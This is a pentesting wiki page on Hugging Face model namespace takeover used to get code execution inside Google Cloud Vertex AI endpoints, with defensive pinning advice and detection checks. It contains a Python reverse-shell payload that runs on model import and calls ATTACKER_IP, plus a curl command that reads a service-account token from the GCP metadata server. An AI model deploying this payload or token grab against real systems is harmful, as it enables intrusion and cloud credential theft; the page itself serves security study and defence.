# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse

{{#include ../../../banners/hacktricks-training.md}}

## Scenario

- Vertex AI Model Garden allows direct deployment of many Hugging Face (HF) models.
- HF model identifiers are Author/ModelName. If an author/org on HF is deleted, the same author name can be re-registered by anyone. Attackers can then create a repo with the same ModelName at the legacy path.
- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions.

Two common takeover cases on HF:
- Ownership deletion: Old path 404 until someone re-registers the author and publishes the same ModelName.
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.

## Identifying Reusable Namespaces (HF)

- Old author deleted: the page for the author returns 404; model path may return 404 until takeover.
- Transferred models: the old model path issues 307 to the new owner while the old author exists. If the old author is later deleted and re-registered, the legacy path will resolve to the attacker’s repo.

Quick checks with curl:

```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available

# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```

## End-to-end Attack Flow against Vertex AI

1) Discover reusable model namespaces that Model Garden lists as deployable:
- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.

2) Re-register the deleted author on HF and recreate the same ModelName.

3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
- Side effects in __init__.py of the repo
- Custom modeling_*.py or processing code referenced by config/auto_map
- Code paths that require trust_remote_code=True in Transformers pipelines

4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.

5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.

Example payload fragment executed on import (for demonstration only):

```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
    s = socket.socket(); s.connect((host, port))
    for fd in (0,1,2):
        try:
            os.dup2(s.fileno(), fd)
        except Exception:
            pass
    subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...

if os.environ.get("VTX_AI","1") == "1":
    threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```

Notes
- Real-world loaders vary. Many Vertex AI HF integrations clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some uses require trust_remote_code=True.
- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.

## Post-Exploitation Tips (Vertex AI Endpoint)

Once code is running inside the endpoint container, consider:
- Enumerating environment variables and metadata for credentials/tokens
- Accessing attached storage or mounted model artifacts
- Interacting with Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistence in the model artifact if the platform re-pulls the repo

Enumerate instance metadata if accessible (container dependent):

```bash
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```

## Defensive Guidance for Vertex AI Users

- Pin models by commit in HF loaders to prevent silent replacement:

```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```

- Mirror vetted HF models into a trusted internal artifact store/registry and deploy from there.
- Continuously scan codebases and configs for hard-coded Author/ModelName that are deleted/transferred; update to new namespaces or pin by commit.
- In Model Garden, verify model provenance and author existence before deployment.

## Recognition Heuristics (HTTP)

- Deleted author: author page 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.

```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```

## Cross-References

- See broader methodology and supply-chain notes:

{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}

## References

- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

{{#include ../../../banners/hacktricks-training.md}}